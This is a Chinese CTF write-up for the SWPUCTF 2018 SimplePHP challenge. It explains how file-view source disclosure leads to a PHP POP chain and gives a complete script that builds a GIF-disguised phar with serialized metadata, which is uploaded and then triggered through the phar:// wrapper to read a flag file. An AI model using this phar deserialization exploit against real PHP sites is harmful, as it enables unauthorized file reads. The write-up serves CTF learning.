[SWPUCTF 2018]SimplePHP

文件上传测试,发现对文件后缀有着严格的过滤
上传无果
在这里插入图片描述
他这里有个查看文件点进去看看
在这里插入图片描述
注意url,猜测文件包含
他源代码里有个flag.php,读取失败,但是读取upload_file.php却可以
在这里插入图片描述
读取funciton.php
在这里插入图片描述
白名单过滤,那我试一试上传图片🐎
在这里插入图片描述
⑧彳亍,他上传完后会更改文件名,那俺把他源码全搞下来
有这么些代码
在这里插入图片描述

重要的是class.php

在这里插入图片描述
看到这里就不难想到是phar反序列化了
看到show类的_show方法,有个高危函数
在这里插入图片描述

而Test类也有个高危函数

在这里插入图片描述

接着寻找POP链
看到Show类的_show方法,很明显可以发现在这里插入图片描述
toString()方法里返回的$str变量居然还有一个属性,source,那么这个str[‘str’]一定是类。
肯定是要触发这个方法,而触发这个方法的关键点是echo
找到echo
在这里插入图片描述

在C1e4r类这里有个echo,Show类的那个echo是在construct方法里,这个会在类构建的时候自动调用,没啥用。又不能控制$file的值

而C1e4r里的echo是在_destruct方法下,这个会类销毁的时候自动调用,刚好可以触发Show类的to_String()魔术方法。

然后就是让to_String()下面的$str为一个类
这两个类都用的差不多了
看到最后一个类
在这里插入图片描述
看上面图很容易了
利用Test类的__get方法触发file_get_contents()函数进行任意文件读取
而触发__get($key)方法的唯一条件是访问一个不可访问变量
而当我们利用toString方法访问Test类里的source变量刚好构成__get($key)是访问一个不可访问变量
由此POP链构造如下

C1e4r::destruct---->Show::toString-->Test::__get()--->get()

经过本地测试,Show类里面的在这里插入代码片
在这里插入图片描述
这个source是指Test里的param数组里的source,param这个数组必须有source这个键名,然后再触发__get($key)魔术方法,
写一个生成phar的jio本

<?php
	class C1e4r
	{
		public $str;
	}

	class Show
	{
		public $str;
	}
	class Test
	{
		public $params;

	}
	
	$c = new C1e4r();
	$show = new Show();
	$test= new Test();
	$test->params['source'] = "/var/www/html/f1ag.php";
	$c->str = $show;
	$show->str['str'] = $test;

	@unlink("phar.phar");
    $p = new Phar('phar.phar');
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($c);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
?>



然后上传,由于有个白名单过滤,改为白名单上传
在这里插入图片描述

利用phar协议解析那个文件,会当成phar文件来解析
在这里插入图片描述

进到查看文件phar为协议那个文件即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值